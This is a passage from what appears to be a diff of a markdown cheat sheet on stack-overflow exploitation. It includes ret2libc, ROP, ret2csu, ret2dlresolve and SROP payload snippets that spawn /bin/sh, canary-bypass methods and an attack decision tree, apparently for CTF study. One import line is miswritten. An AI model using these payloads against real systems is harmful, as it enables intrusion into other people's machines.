| Return address size | 4 bytes | 8 bytes |
|
|
51
|
+
| Saved frame pointer | 4 bytes (EBP) | 8 bytes (RBP) |
|
|
52
|
+
| Canary size | 4 bytes | 8 bytes |
|
|
53
|
+
| Calling convention | args on stack | RDI, RSI, RDX, RCX, R8, R9 then stack |
|
|
54
|
+
| Syscall instruction | `int 0x80` | `syscall` |
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## 2. RETURN-TO-LIBC
|
|
59
|
+
|
|
60
|
+
When NX is enabled (stack not executable), redirect execution to libc functions.
|
|
61
|
+
|
|
62
|
+
### Classic ret2libc (32-bit)
|
|
63
|
+
|
|
64
|
+
```python
|
|
65
|
+
payload = b'A' * offset
|
|
66
|
+
payload += p32(system_addr)
|
|
67
|
+
payload += p32(exit_addr) # fake return address for system()
|
|
68
|
+
payload += p32(binsh_addr) # arg1: "/bin/sh"
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### ret2libc (64-bit) — Need Gadgets for Arguments
|
|
72
|
+
|
|
73
|
+
```python
|
|
74
|
+
pop_rdi = elf_base + 0x401234 # pop rdi; ret
|
|
75
|
+
payload = b'A' * offset
|
|
76
|
+
payload += p64(pop_rdi)
|
|
77
|
+
payload += p64(binsh_addr)
|
|
78
|
+
payload += p64(system_addr)
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### Libc Base Leak Methods
|
|
82
|
+
|
|
83
|
+
| Method | Technique | When |
|
|
84
|
+
|---|---|---|
|
|
85
|
+
| puts@plt(puts@GOT) | Leak resolved libc address | GOT already resolved, puts in PLT |
|
|
86
|
+
| write@plt(1, read@GOT, 8) | Leak via write syscall | write available |
|
|
87
|
+
| printf("%s", GOT_entry) | Leak via format string | printf controllable |
|
|
88
|
+
| Partial overwrite | Overwrite low bytes of return to reach leak gadget | PIE enabled, known last 12 bits |
|
|
89
|
+
|
|
90
|
+
```python
|
|
91
|
+
# Typical leak pattern
|
|
92
|
+
rop = b'A' * offset
|
|
93
|
+
rop += p64(pop_rdi) + p64(elf.got['puts'])
|
|
94
|
+
rop += p64(elf.plt['puts'])
|
|
95
|
+
rop += p64(main_addr) # return to main for second payload
|
|
96
|
+
|
|
97
|
+
io.sendline(rop)
|
|
98
|
+
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
|
|
99
|
+
libc_base = leak - libc.symbols['puts']
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### one_gadget — Single Gadget RCE
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
$ one_gadget /path/to/libc.so.6
|
|
106
|
+
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
|
|
107
|
+
constraints: rsp & 0xf == 0, rcx == NULL
|
|
108
|
+
0x4f432 execve("/bin/sh", rsp+0x40, environ)
|
|
109
|
+
constraints: [rsp+0x40] == NULL
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
Constraints must be satisfied — check register/stack state before using.
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## 3. ROP CHAIN CONSTRUCTION
|
|
117
|
+
|
|
118
|
+
### Tool Comparison
|
|
119
|
+
|
|
120
|
+
| Tool | Strength | Command |
|
|
121
|
+
|---|---|---|
|
|
122
|
+
| ROPgadget | Comprehensive search, chain generation | `ROPgadget --binary elf --ropchain` |
|
|
123
|
+
| ropper | Semantic search, JOP/COP support | `ropper -f elf --search "pop rdi"` |
|
|
124
|
+
| pwntools ROP | Automated chain building | `rop = ROP(elf); rop.call('system', ['/bin/sh'])` |
|
|
125
|
+
| xrop | Fast gadget search | `xrop -r elf` |
|
|
126
|
+
|
|
127
|
+
### Essential Gadget Patterns
|
|
128
|
+
|
|
129
|
+
| Purpose | Gadget | Use Case |
|
|
130
|
+
|---|---|---|
|
|
131
|
+
| Set RDI (arg1) | `pop rdi; ret` | Most function calls |
|
|
132
|
+
| Set RSI (arg2) | `pop rsi; pop r15; ret` | Two-arg functions |
|
|
133
|
+
| Set RDX (arg3) | `pop rdx; ret` (rare) | Three-arg functions, use ret2csu |
|
|
134
|
+
| Syscall | `syscall; ret` | Direct syscall invocation |
|
|
135
|
+
| Stack pivot | `leave; ret` | Move RSP to controlled buffer |
|
|
136
|
+
| Align stack | `ret` (single ret gadget) | Fix 16-byte alignment for movaps |
|
|
137
|
+
|
|
138
|
+
**x86-64 stack alignment**: `system()` and other libc functions use `movaps` which requires RSP % 16 == 0. Insert an extra `ret` gadget before the call if alignment is off.
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## 4. ret2csu — Universal 3-Argument Control
|
|
143
|
+
|
|
144
|
+
`__libc_csu_init` exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.
|
|
145
|
+
|
|
146
|
+
```nasm
|
|
147
|
+
; Gadget 1 (csu_init + 0x3a): pop registers
|
|
148
|
+
pop rbx ; 0
|
|
149
|
+
pop rbp ; 1
|
|
150
|
+
pop r12 ; call target (function pointer address)
|
|
151
|
+
pop r13 ; arg3 (rdx)
|
|
152
|
+
pop r14 ; arg2 (rsi)
|
|
153
|
+
pop r15 ; arg1 (edi = r15d)
|
|
154
|
+
ret
|
|
155
|
+
|
|
156
|
+
; Gadget 2 (csu_init + 0x20): controlled call
|
|
157
|
+
mov rdx, r13
|
|
158
|
+
mov rsi, r14
|
|
159
|
+
mov edi, r15d ; NOTE: only sets edi (32-bit), not full rdi
|
|
160
|
+
call [r12 + rbx*8]
|
|
161
|
+
add rbx, 1
|
|
162
|
+
cmp rbp, rbx
|
|
163
|
+
jne <loop>
|
|
164
|
+
; falls through to gadget 1 again
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**Key constraints**: r12 must point to a **pointer** to the target function (e.g., GOT entry), not the function address directly. Set `rbx=0`, `rbp=1` to skip the loop.
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## 5. ret2dlresolve
|
|
172
|
+
|
|
173
|
+
Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., `system`) without a libc leak.
|
|
174
|
+
|
|
175
|
+
### Attack Flow
|
|
176
|
+
|
|
177
|
+
1. Control execution to call `_dl_runtime_resolve(link_map, reloc_offset)`
|
|
178
|
+
2. Forge `Elf_Rel` at known writable address pointing to fake `Elf_Sym`
|
|
179
|
+
3. Forge `Elf_Sym` with `st_name` pointing to fake string `"system\x00"`
|
|
180
|
+
4. Set `reloc_offset` so resolver uses forged structures
|
|
181
|
+
5. Argument (`/bin/sh`) placed on stack or in known buffer
|
|
182
|
+
|
|
183
|
+
```python
|
|
184
|
+
# pwntools automation (recommended)
|
|
185
|
+
from pwntools import *
|
|
186
|
+
rop = ROP(elf)
|
|
187
|
+
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
|
|
188
|
+
rop.read(0, dlresolve.data_addr)
|
|
189
|
+
rop.ret2dlresolve(dlresolve)
|
|
190
|
+
io.sendline(rop.chain())
|
|
191
|
+
io.sendline(dlresolve.payload)
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
### 32-bit vs 64-bit Differences
|
|
195
|
+
|
|
196
|
+
| Aspect | 32-bit | 64-bit |
|
|
197
|
+
|---|---|---|
|
|
198
|
+
| Relocation type | `Elf32_Rel` (8 bytes) | `Elf64_Rela` (24 bytes) |
|
|
199
|
+
| Symbol table entry | `Elf32_Sym` (16 bytes) | `Elf64_Sym` (24 bytes) |
|
|
200
|
+
| Alignment | Relaxed | Strict (must satisfy `ndx = (reloc_offset) / sizeof(Elf64_Rela)`, then `sym = symtab[ndx]`) |
|
|
201
|
+
| Version check | Usually skippable | `VERSYM[sym_index]` must be valid or 0 |
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## 6. SROP — Sigreturn-Oriented Programming
|
|
206
|
+
|
|
207
|
+
Abuse the `sigreturn` syscall to set **all registers at once** from a fake Signal Frame on the stack.
|
|
208
|
+
|
|
209
|
+
```python
|
|
210
|
+
from pwn import *
|
|
211
|
+
frame = SigreturnFrame()
|
|
212
|
+
frame.rax = constants.SYS_execve # 59
|
|
213
|
+
frame.rdi = binsh_addr
|
|
214
|
+
frame.rsi = 0
|
|
215
|
+
frame.rdx = 0
|
|
216
|
+
frame.rip = syscall_ret_addr
|
|
217
|
+
frame.rsp = new_stack_addr # optional pivot
|
|
218
|
+
|
|
219
|
+
payload = b'A' * offset
|
|
220
|
+
payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15
|
|
221
|
+
payload += p64(syscall_ret)
|
|
222
|
+
payload += bytes(frame)
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
**When to use**: limited gadgets, no `pop rdx`, static binary, or need to pivot stack to arbitrary address.
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## 7. STACK PIVOTING
|
|
230
|
+
|
|
231
|
+
Move the stack pointer to an attacker-controlled buffer when overflow length is limited.
|
|
232
|
+
|
|
233
|
+
| Technique | Gadget | Precondition |
|
|
234
|
+
|---|---|---|
|
|
235
|
+
| `leave; ret` | `mov rsp, rbp; pop rbp; ret` | Control saved RBP to point to fake stack |
|
|
236
|
+
| `xchg rsp, rax; ret` | Swap RSP with RAX | Control RAX (via gadget chain) |
|
|
237
|
+
| `pop rsp; ret` | Direct RSP control | Rare but powerful |
|
|
238
|
+
| SROP pivot | Set RSP in SigreturnFrame | Only need sigreturn gadget |
|
|
239
|
+
|
|
240
|
+
### leave;ret Pivot Pattern
|
|
241
|
+
|
|
242
|
+
```
|
|
243
|
+
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
|
|
244
|
+
1st leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp
|
|
245
|
+
1st ret: rip = leave_ret_addr
|
|
246
|
+
2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
|
|
247
|
+
2nd ret: rip = *(buf+8) → start of ROP chain in buf
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
## 8. CANARY BYPASS
|
|
253
|
+
|
|
254
|
+
| Technique | Condition | Method |
|
|
255
|
+
|---|---|---|
|
|
256
|
+
| Brute-force | `fork()` server (canary same in child) | Byte-by-byte (256 × 7 = 1792 attempts for 64-bit) |
|
|
257
|
+
| Format string leak | printf(user_input) available | `%N$p` to read canary from stack |
|
|
258
|
+
| Stack reading | One-byte overflow or partial read | Overwrite canary null byte, read via error/output |
|
|
259
|
+
| Thread canary | Overflow reaches TLS | Overwrite `stack_guard` in TLS (at `fs:[0x28]`) simultaneously |
|
|
260
|
+
| Information disclosure | Uninitialized stack variable leak | Canary included in leaked data |
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
## 9. TOOLS QUICK REFERENCE
|
|
265
|
+
|
|
266
|
+
```bash
|
|
267
|
+
checksec ./binary # Show protections (NX, canary, PIE, RELRO)
|
|
268
|
+
ROPgadget --binary ./binary --ropchain # Auto-generate ROP chain
|
|
269
|
+
ropper -f ./binary --search "pop rdi" # Semantic gadget search
|
|
270
|
+
one_gadget ./libc.so.6 # Find one-shot RCE gadgets
|
|
271
|
+
pwn template ./binary --host x --port y # Generate pwntools exploit skeleton
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## 10. DECISION TREE
|
|
277
|
+
|
|
278
|
+
```
|
|
279
|
+
Binary has stack overflow?
|
|
280
|
+
├── checksec: NX disabled?
|
|
281
|
+
│ └── YES → shellcode on stack, ret to buffer (ret2shellcode)
|
|
282
|
+
│ └── NO (NX enabled) →
|
|
283
|
+
│ ├── Canary enabled?
|
|
284
|
+
│ │ ├── YES → fork() server? → brute-force canary
|
|
285
|
+
│ │ │ format string? → leak canary
|
|
286
|
+
│ │ │ info leak? → read canary
|
|
287
|
+
│ │ └── NO → proceed to ROP
|
|
288
|
+
│ ├── ASLR/PIE enabled?
|
|
289
|
+
│ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
|
|
290
|
+
│ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT)
|
|
291
|
+
│ │ └── Neither → addresses known, direct ROP
|
|
292
|
+
│ ├── Can leak libc?
|
|
293
|
+
│ │ ├── YES → ret2libc (system/execve) or one_gadget
|
|
294
|
+
│ │ └── NO → ret2dlresolve (forge resolution) or SROP
|
|
295
|
+
│ ├── Need 3+ args but no pop rdx?
|
|
296
|
+
│ │ └── ret2csu or SROP
|
|
297
|
+
│ ├── Overflow too short for full chain?
|
|
298
|
+
│ │ └── Stack pivot (leave;ret, xchg rsp)
|
|
299
|
+
│ ├── Static binary (no libc)?
|
|
300
|
+
│ │ └── SROP + syscall chain (execve via sigreturn)
|
|
301
|
+
│ └── Full RELRO?
|
|
302
|
+
│ └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
|
|
303
|
+
│ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)
|
|
304
|
+
```
|